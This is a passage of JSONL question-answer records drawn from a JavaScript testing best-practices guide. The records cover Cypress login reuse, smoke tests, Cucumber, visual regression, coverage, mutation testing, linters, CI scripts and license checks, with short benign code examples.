testing its functionality only to realizes very late that the backend returned payload (the data schema the UI has to work with) is very different than expected", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061303"}
{"id": "gh_cbabd15a5b80", "question": "How to: ⚪ ️ 3.8 Speed-up E2E tests by reusing login credentials", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** In E2E tests that involve a real backend and rely on a valid user token for API calls, it doesn't payoff to isolate the test to a level where a user is created and logged-in in every request. Instead, login only once before the tests execution start (i.e. before-all hook), save the token in some local storage and reuse it across requests. This seem to violate one of the core testing principle - keep the test autonomous without resources coupling. While this is a valid worry, in E2E tests performance is a key concern and creating 1-3 API requests before starting each individual tests might lead to horrible execution time. Reusing credentials doesn't mean the tests have to act on the same user records - if relying on user records (e.g. test user payments history) than make sure to generate those records as part of the test and avoid sharing their existence with other tests. Also remember that the backend can be faked - if your tests are focused on the frontend it might be better to isolate it and stub the backend API (see [bullet 3.6](https://github.com/goldbergyoni/javascript-testing-best-practices#-%EF%B8%8F-36-stub-flaky-and-slow-resources-like-backend-apis)).\n❌ **Otherwise:** Given 200 test cases and assuming login=100ms = 20 seconds only for logging-in again and again\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061311"}
{"id": "gh_994882cd21f7", "question": "How to: :clap: Doing It Right Example: Logging-in before-all and not before-each", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![](https://img.shields.io/badge/🔨%20Example%20using%20Cypress-blue.svg \"Using Cypress to illustrate the idea\")\n\n```javascript\nlet authenticationToken;\n\n// happens before ALL tests run\nbefore(() => {\n  cy.request('POST', 'http://localhost:3000/login', {\n    username: Cypress.env('username'),\n    password: Cypress.env('password'),\n  })\n  .its('body')\n  .then((responseFromLogin) => {\n    authenticationToken = responseFromLogin.token;\n  })\n})\n\n// happens before EACH test\nbeforeEach(setUser => {\n  cy.visit('/home', () => {\n    onBeforeLoad (win => {\n      win.localStorage.setItem('token', JSON.stringify(authenticationToken))\n    })\n  })\n})\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061319"}
{"id": "gh_6b6999360654", "question": "How to: ⚪ ️ 3.9 Have one E2E smoke test that just travels across the site map", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** For production monitoring and development-time sanity check, run a single E2E test that visits all/most of the site pages and ensures no one breaks. This type of test brings a great return on investment as it's very easy to write and maintain, but it can detect any kind of failure including functional, network and deployment issues. Other styles of smoke and sanity checking are not as reliable and exhaustive - some ops teams just ping the home page (production) or developers who run many integration tests which don't discover packaging and browser issues. Goes without saying that the smoke test doesn't replace functional tests rather just aim to serve as a quick smoke detector\n❌ **Otherwise:** Everything might seem perfect, all tests pass, production health-check is also positive but the Payment component had some packaging issue and only the /Payment route is not rendering\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061326"}
{"id": "gh_be1744ac9a5c", "question": "How to: :clap: Doing It Right Example: Smoke travelling across all pages", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![](https://img.shields.io/badge/🔨%20Example%20using%20Cypress-blue.svg \"Using Cypress to illustrate the idea\")\n\n```javascript\nit(\"When doing smoke testing over all page, should load them all successfully\", () => {\n  // exemplified using Cypress but can be implemented easily\n  // using any E2E suite\n  cy.visit(\"https://mysite.com/home\");\n  cy.contains(\"Home\");\n  cy.visit(\"https://mysite.com/Login\");\n  cy.contains(\"Login\");\n  cy.visit(\"https://mysite.com/About\");\n  cy.contains(\"About\");\n});\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061333"}
{"id": "gh_22bab9b6f092", "question": "How to: ⚪ ️ 3.10 Expose the tests as a live collaborative document", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** Besides increasing app reliability, tests bring another attractive opportunity to the table - serve as live app documentation. Since tests inherently speak at a less-technical and product/UX language, using the right tools they can serve as a communication artifact that greatly aligns all the peers - developers and their customers. For example, some frameworks allow expressing the flow and expectations (i.e. tests plan) using a human-readable language so any stakeholder, including product managers, can read, approve and collaborate on the tests which just became the live requirements document. This technique is also being referred to as 'acceptance test' as it allows the customer to define his acceptance criteria in plain language. This is [BDD (behavior-driven testing)](https://en.wikipedia.org/wiki/Behavior-driven_development) at its purest form. One of the popular frameworks that enable this is [Cucumber which has a JavaScript flavor](https://github.com/cucumber/cucumber-js), see example below. Another similar yet different opportunity, [StoryBook](https://storybook.js.org/), allows exposing UI components as a graphic catalog where one can walk through the various states of each component (e.g. render a grid w/o filters, render that grid with multiple rows or with none, etc), see how it looks like, and how to trigger that state - this can appeal also to product folks but mostly serves as live doc for developers who consume those components.\n\n❌ **Otherwise:** After investing top resources on testing, it's just a pity not to leverage this investment and win great value\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061341"}
{"id": "gh_bc6b184b1d6b", "question": "How to: :clap: Doing It Right Example: Describing tests in human-language using cucumber-js", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![](https://img.shields.io/badge/🔨%20Example%20using%20Cucumber-blue.svg \"Examples using Cucumber\")\n\n```text\nThis is how one can describe tests using cucumber: plain language that allows anyone to understand and collaborate\n\nFeature: Twitter new tweet\n\n  I want to tweet something in Twitter\n\n  @focus\n  Scenario: Tweeting from the home page\n    Given I open Twitter home\n    Given I click on \"New tweet\" button\n    Given I type \"Hello followers!\" in the textbox\n    Given I click on \"Submit\" button\n    Then I see message \"Tweet saved\"\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061347"}
{"id": "gh_560bf14663bc", "question": "How to: :clap: Doing It Right Example: Visualizing our components, their various states and inputs using Storybook", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![](https://img.shields.io/badge/🔨%20Example%20using%20StoryBook-blue.svg \"Using StoryBook\")\n\n![alt text](assets/story-book.jpg \"Storybook\")", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061352"}
{"id": "gh_9fba97ce266a", "question": "How to: ⚪ ️ 3.11 Detect visual issues with automated tools", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** Setup automated tools to capture UI screenshots when changes are presented and detect visual issues like content overlapping or breaking. This ensures that not only the right data is prepared but also the user can conveniently see it. This technique is not widely adopted, our testing mindset leans toward functional tests but it's the visuals what the user experience and with so many device types it's very easy to overlook some nasty UI bug. Some free tools can provide the basics - generate and save screenshots for the inspection of human eyes. While this approach might be sufficient for small apps, it's flawed as any other manual testing that demands human labor anytime something changes. On the other hand, it's quite challenging to detect UI issues automatically due to the lack of clear definition - this is where the field of 'Visual Regression' chime in and solve this puzzle by comparing old UI with the latest changes and detect differences. Some OSS/free tools can provide some of this functionality (e.g. [wraith](https://github.com/BBC-News/wraith), [PhantomCSS](<[https://github.com/HuddleEng/PhantomCSS](https://github.com/HuddleEng/PhantomCSS)>) but might charge significant setup time. The commercial line of tools (e.g. [Applitools](https://applitools.com/), [Percy.io](https://percy.io/)) takes is a step further by smoothing the installation and packing advanced features like management UI, alerting, smart capturing by eliminating 'visual noise' (e.g. ads, animations) and even root cause analysis of the DOM/CSS changes that led to the issue\n❌ **Otherwise:** How good is a content page that display great content (100% tests passed), loads instantly but half of the content area is hidden?\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061361"}
{"id": "gh_2d6280d3d387", "question": "How to: :thumbsdown: Anti-Pattern Example: A typical visual regression - right content that is served badly", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![alt text](assets/amazon-visual-regression.jpeg \"Amazon page breaks\")", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061366"}
{"id": "gh_64835f4e974c", "question": "How to: :clap: Doing It Right Example: Using Applitools to get snapshot comparison and other advanced features", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![](https://img.shields.io/badge/🔨%20Example%20using%20AppliTools-blue.svg \"Using Applitools\") ![](https://img.shields.io/badge/🔨%20Example%20using%20Cypress-blue.svg \"Using Cypress to illustrate the idea\")\n\n```javascript\nimport * as todoPage from \"../page-objects/todo-page\";\n\ndescribe(\"visual validation\", () => {\n  before(() => todoPage.navigate());\n  beforeEach(() => cy.eyesOpen({ appName: \"TAU TodoMVC\" }));\n  afterEach(() => cy.eyesClose());\n\n  it(\"should look good\", () => {\n    cy.eyesCheckWindow(\"empty todo list\");\n    todoPage.addTodo(\"Clean room\");\n    todoPage.addTodo(\"Learn javascript\");\n    cy.eyesCheckWindow(\"two todos\");\n    todoPage.toggleTodo(0);\n    cy.eyesCheckWindow(\"mark as completed\");\n  });\n});\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061387"}
{"id": "gh_6f0f7fc32c19", "question": "How to: ⚪ ️ 4.1 Get enough coverage for being confident, ~80% seems to be the lucky number", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** The purpose of testing is to get enough confidence for moving fast, obviously the more code is tested the more confident the team can be. Coverage is a measure of how many code lines (and branches, statements, etc) are being reached by the tests. So how much is enough? 10–30% is obviously too low to get any sense about the build correctness, on the other side 100% is very expensive and might shift your focus from the critical paths to the exotic corners of the code. The long answer is that it depends on many factors like the type of application — if you’re building the next generation of Airbus A380 than 100% is a must, for a cartoon pictures website 50% might be too much. Although most of the testing enthusiasts claim that the right coverage threshold is contextual, most of them also mention the number 80% as a thumb of a rule ([Fowler: “in the upper 80s or 90s”](https://martinfowler.com/bliki/TestCoverage.html)) that presumably should satisfy most of the applications.\n\nImplementation tips: You may want to configure your continuous integration (CI) to have a coverage threshold ([Jest link](https://jestjs.io/docs/en/configuration.html#collectcoverage-boolean)) and stop a build that doesn’t stand to this standard (it’s also possible to configure threshold per component, see code example below). On top of this, consider detecting build coverage decrease (when a newly committed code has less coverage) — this will push developers raising or at least preserving the amount of tested code. All that said, coverage is only one measure, a quantitative based one, that is not enough to tell the robustness of your testing. And it can also be fooled as illustrated in the next bullets\n❌ **Otherwise:** Confidence and numbers go hand in hand, without really knowing that you tested most of the system — there will also be some fear and fear will slow you down\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061397"}
{"id": "gh_4b29eee00ecb", "question": "How to: :clap: Example: A typical coverage report", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![alt text](assets/bp-18-yoni-goldberg-code-coverage.png \"A typical coverage report\")", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061401"}
{"id": "gh_3cd12f0ef830", "question": "How to: :clap: Doing It Right Example: Setting up coverage per component (using Jest)", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![](https://img.shields.io/badge/🔨%20Example%20using%20Jest-blue.svg \"Using Jest\")\n\n![alt text](assets/bp-18-code-coverage2.jpeg \"Setting up coverage per component (using Jest)\")", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061407"}
{"id": "gh_964c88474019", "question": "How to: ⚪ ️ 4.2 Inspect coverage reports to detect untested areas and other oddities", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** Some issues sneak just under the radar and are really hard to find using traditional tools. These are not really bugs but more of surprising application behavior that might have a severe impact. For example, often some code areas are never or rarely being invoked — you thought that the ‘PricingCalculator’ class is always setting the product price but it turns out it is actually never invoked although we have 10000 products in DB and many sales… Code coverage reports help you realize whether the application behaves the way you believe it does. Other than that, it can also highlight which types of code is not tested — being informed that 80% of the code is tested doesn’t tell whether the critical parts are covered. Generating reports is easy — just run your app in production or during testing with coverage tracking and then see colorful reports that highlight how frequent each code area is invoked. If you take your time to glimpse into this data — you might find some gotchas\n❌ **Otherwise:** If you don’t know which parts of your code are left un-tested, you don’t know where the issues might come from\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061414"}
{"id": "gh_561f669e8a99", "question": "How to: :thumbsdown: Anti-Pattern Example: What’s wrong with this coverage report?", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "Based on a real-world scenario where we tracked our application usage in QA and find out interesting login patterns (Hint: the amount of login failures is non-proportional, something is clearly wrong. Finally it turned out that some frontend bug keeps hitting the backend login API)\n\n![alt text](assets/bp-19-coverage-yoni-goldberg-nodejs-consultant.png \"What’s wrong with this coverage report?\")", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061421"}
{"id": "gh_fdf60184026e", "question": "How to: ⚪ ️ 4.3 Measure logical coverage using mutation testing", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** The Traditional Coverage metric often lies: It may show you 100% code coverage, but none of your functions, even not one, return the right response. How come? it simply measures over which lines of code the test visited, but it doesn’t check if the tests actually tested anything — asserted for the right response. Like someone who’s traveling for business and showing his passport stamps — this doesn’t prove any work done, only that he visited few airports and hotels.\n\nMutation-based testing is here to help by measuring the amount of code that was actually TESTED not just VISITED. [Stryker](https://stryker-mutator.io/) is a JavaScript library for mutation testing and the implementation is really neat:\n\n(1) it intentionally changes the code and “plants bugs”. For example the code newOrder.price===0 becomes newOrder.price!=0. This “bugs” are called mutations\n\n(2) it runs the tests, if all succeed then we have a problem — the tests didn’t serve their purpose of discovering bugs, the mutations are so-called survived. If the tests failed, then great, the mutations were killed.\n\nKnowing that all or most of the mutations were killed gives much higher confidence than traditional coverage and the setup time is similar\n❌ **Otherwise:** You’ll be fooled to believe that 85% coverage means your test will detect bugs in 85% of your code\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061429"}
{"id": "gh_d44100184023", "question": "How to: :thumbsdown: Anti-Pattern Example: 100% coverage, 0% testing", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![](https://img.shields.io/badge/🔨%20Example%20using%20Stryker-blue.svg \"Using Stryker\")\n\n```javascript\nfunction addNewOrder(newOrder) {\n  logger.log(`Adding new order ${newOrder}`);\n  DB.save(newOrder);\n  Mailer.sendMail(newOrder.assignee, `A new order was places ${newOrder}`);\n\n  return { approved: true };\n}\n\nit(\"Test addNewOrder, don't use such test names\", () => {\n  addNewOrder({ assignee: \"John@mailer.com\", price: 120 });\n}); //Triggers 100% code coverage, but it doesn't check anything\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.98, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061436"}
{"id": "gh_e50d0ffb0db4", "question": "How to: :clap: Doing It Right Example: Stryker reports, a tool for mutation testing, detects and counts the amount of code that is not tested (Mutations)", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![alt text](assets/bp-20-yoni-goldberg-mutation-testing.jpeg \"Stryker reports, a tool for mutation testing, detects and counts the amount of code that is not tested (Mutations)\")", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061441"}
{"id": "gh_86fc3d17a85c", "question": "How to: ⚪ ️4.4 Preventing test code issues with Test linters", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** A set of ESLint plugins were built specifically for inspecting the tests code patterns and discover issues. For example, [eslint-plugin-mocha](https://www.npmjs.com/package/eslint-plugin-mocha) will warn when a test is written at the global level (not a son of a describe() statement) or when tests are [skipped](https://mochajs.org/#inclusive-tests) which might lead to a false belief that all tests are passing. Similarly, [eslint-plugin-jest](https://github.com/jest-community/eslint-plugin-jest) can, for example, warn when a test has no assertions at all (not checking anything)\n❌ **Otherwise:** Seeing 90% code coverage and 100% green tests will make your face wear a big smile only until you realize that many tests aren’t asserting for anything and many test suites were just skipped. Hopefully, you didn’t deploy anything based on this false observation\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061448"}
{"id": "gh_abc885736c90", "question": "How to: :thumbsdown: Anti-Pattern Example: A test case full of errors, luckily all are caught by Linters", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "```javascript\ndescribe(\"Too short description\", () => {\n  const userToken = userService.getDefaultToken() // *error:no-setup-in-describe, use hooks (sparingly) instead\n  it(\"Some description\", () => {});//* error: valid-test-description. Must include the word \"Should\" + at least 5 words\n});\n\nit.skip(\"Test name\", () => {// *error:no-skipped-tests, error:error:no-global-tests. Put tests only under describe or suite\n  expect(\"somevalue\"); // error:no-assert\n});\n\nit(\"Test name\", () => {// *error:no-identical-title. Assign unique titles to tests\n});\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061454"}
{"id": "gh_9b60899bb288", "question": "How to: ⚪ ️ 5.1 Enrich your linters and abort builds that have linting issues", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** Linters are a free lunch, with 5 min setup you get for free an auto-pilot guarding your code and catching significant issue as you type. Gone are the days where linting was about cosmetics (no semi-colons!). Nowadays, Linters can catch severe issues like errors that are not thrown correctly and losing information. On top of your basic set of rules (like [ESLint standard](https://www.npmjs.com/package/eslint-plugin-standard) or [Airbnb style](https://www.npmjs.com/package/eslint-config-airbnb)), consider including some specializing Linters like [eslint-plugin-chai-expect](https://www.npmjs.com/package/eslint-plugin-chai-expect) that can discover tests without assertions, [eslint-plugin-promise](https://www.npmjs.com/package/eslint-plugin-promise?activeTab=readme) can discover promises with no resolve (your code will never continue), [eslint-plugin-security](https://www.npmjs.com/package/eslint-plugin-security?activeTab=readme) which can discover eager regex expressions that might get used for DOS attacks, and [eslint-plugin-you-dont-need-lodash-underscore](https://www.npmjs.com/package/eslint-plugin-you-dont-need-lodash-underscore) is capable of alarming when the code uses utility library methods that are part of the V8 core methods like Lodash.\\_map(…)\n❌ **Otherwise:** Consider a rainy day where your production keeps crashing but the logs don’t display the error stack trace. What happened? Your code mistakenly threw a non-error object and the stack trace was lost, a good reason for banging your head against a brick wall. A 5 min linter setup could detect this TYPO and save your day\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061463"}
{"id": "gh_c1dd3291ad05", "question": "How to: :thumbsdown: Anti-Pattern Example: The wrong Error object is thrown mistakenly, no stack-trace will appear for this error. Luckily, ESLint catches the next production bug", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "![alt text](assets/bp-21-yoni-goldberg-eslint.jpeg \"The wrong Error object is thrown mistakenly, no stack-trace will appear for this error. Luckily, ESLint catches the next production bug\")", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061468"}
{"id": "gh_cb562cd62ced", "question": "How to: ⚪ ️ 5.2 Shorten the feedback loop with local developer-CI", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** Using a CI with shiny quality inspections like testing, linting, vulnerabilities check, etc? Help developers run this pipeline also locally to solicit instant feedback and shorten the [feedback loop](https://www.gocd.org/2016/03/15/are-you-ready-for-continuous-delivery-part-2-feedback-loops/). Why? an efficient testing process constitutes many and iterative loops: (1) try-outs -> (2) feedback -> (3) refactor. The faster the feedback is, the more improvement iterations a developer can perform per-module and perfect the results. On the flip, when the feedback is late to come fewer improvement iterations could be packed into a single day, the team might already move forward to another topic/task/module and might not be up for refining that module.\n\nPractically, some CI vendors (Example: [CircleCI local CLI](https://circleci.com/docs/2.0/local-cli/)) allow running the pipeline locally. Some commercial tools like [wallaby provide highly-valuable & testing insights](https://wallabyjs.com/) as a developer prototype (no affiliation). Alternatively, you may just add npm script to package.json that runs all the quality commands (e.g. test, lint, vulnerabilities) — use tools like [concurrently](https://www.npmjs.com/package/concurrently) for parallelization and non-zero exit code if one of the tools failed. Now the developer should just invoke one command — e.g. ‘npm run quality’ — to get instant feedback. Consider also aborting a commit if the quality check failed using a githook ([husky can help](https://github.com/typicode/husky))\n❌ **Otherwise:** When the quality results arrive the day after the code, testing doesn’t become a fluent part of development rather an after the fact formal artifact\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061477"}
{"id": "gh_e7b17d173965", "question": "How to: :clap: Doing It Right Example: npm scripts that perform code quality inspection, all are run in parallel on demand or when a developer is trying to push new code", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": "```json\n{\n  \"scripts\": {\n    \"inspect:sanity-testing\": \"mocha **/**--test.js --grep \\\"sanity\\\"\",\n    \"inspect:lint\": \"eslint .\",\n    \"inspect:vulnerabilities\": \"npm audit\",\n    \"inspect:license\": \"license-checker --failOn GPLv2\",\n    \"inspect:complexity\": \"plato .\",\n    \"inspect:all\": \"concurrently -c \\\"bgBlue.bold,bgMagenta.bold,yellow\\\" \\\"npm:inspect:quick-testing\\\" \\\"npm:inspect:lint\\\" \\\"npm:inspect:vulnerabilities\\\" \\\"npm:inspect:license\\\"\"\n  },\n  \"husky\": {\n    \"hooks\": {\n      \"precommit\": \"npm run inspect:all\",\n      \"prepush\": \"npm run inspect:all\"\n    }\n  }\n}\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24587, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061483"}
{"id": "gh_ea76be02cea9", "question": "How to: ⚪ ️5.3 Perform e2e testing over a true production-mirror", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** End to end (e2e) testing are the main challenge of every CI pipeline — creating an identical ephemeral production mirror on the fly with all the related cloud services can be tedious and expensive. Finding the best compromise is your game: [Docker-compose](https://serverless.com/) allows crafting isolated dockerized environment with identical containers using a single plain text file but the backing technology (e.g. networking, deployment model) is different from real-world productions. You may combine it with [‘AWS Local’](https://github.com/localstack/localstack) to work with a stub of the real AWS services. If you went [serverless](https://serverless.com/) multiple frameworks like serverless and [AWS SAM](https://docs.aws.amazon.com/lambda/latest/dg/serverless_app.html) allows the local invocation of FaaS code.\n\nThe huge Kubernetes ecosystem is yet to formalize a standard convenient tool for local and CI-mirroring though many new tools are launched frequently. One approach is running a ‘minimized-Kubernetes’ using tools like [Minikube](https://kubernetes.io/docs/setup/minikube/) and [MicroK8s](https://microk8s.io/) which resemble the real thing only come with less overhead. Another approach is testing over a remote ‘real-Kubernetes’, some CI providers (e.g. [Codefresh](https://codefresh.io/)) has native integration with Kubernetes environment and make it easy to run the CI pipeline over the real thing, others allow custom scripting against a remote Kubernetes.\n❌ **Otherwise:** Using different technologies for production and testing demands maintaining two deployment models and keeps the developers and the ops team separated\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061491"}
{"id": "gh_bd57df02ea93", "question": "How to: ⚪ ️5.4 Parallelize test execution", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** When done right, testing is your 24/7 friend providing almost instant feedback. In practice, executing 500 CPU-bounded unit test on a single thread can take too long. Luckily, modern test runners and CI platforms (like [Jest](https://github.com/facebook/jest), [AVA](https://github.com/avajs/ava) and [Mocha extensions](https://github.com/yandex/mocha-parallel-tests)) can parallelize the test into multiple processes and achieve significant improvement in feedback time. Some CI vendors do also parallelize tests across containers (!) which shortens the feedback loop even further. Whether locally over multiple processes, or over some cloud CLI using multiple machines — parallelizing demand keeping the tests autonomous as each might run on different processes\n\n❌ **Otherwise:** Getting test results 1 hour long after pushing new code, as you already code the next features, is a great recipe for making testing less relevant\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061498"}
{"id": "gh_42f8b4c8adc3", "question": "How to: ⚪ ️5.5 Stay away from legal issues using license and plagiarism check", "question_body": "About goldbergyoni/javascript-testing-best-practices", "answer": ":white_check_mark: **Do:** Licensing and plagiarism issues are probably not your main concern right now, but why not tick this box as well in 10 minutes? A bunch of npm packages like [license check](https://www.npmjs.com/package/license-checker) and [plagiarism check](https://www.npmjs.com/package/plagiarism-checker) (commercial with free plan) can be easily baked into your CI pipeline and inspect for sorrows like dependencies with restrictive licenses or code that was copy-pasted from Stack Overflow and apparently violates some copyrights\n\n❌ **Otherwise:** Unintentionally, developers might use packages with inappropriate licenses or copy paste commercial code and run into legal issues\n✏\nCode Examples", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24587, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/javascript-testing-best-practices", "collected_at": "2026-01-17T08:21:58.061505"}
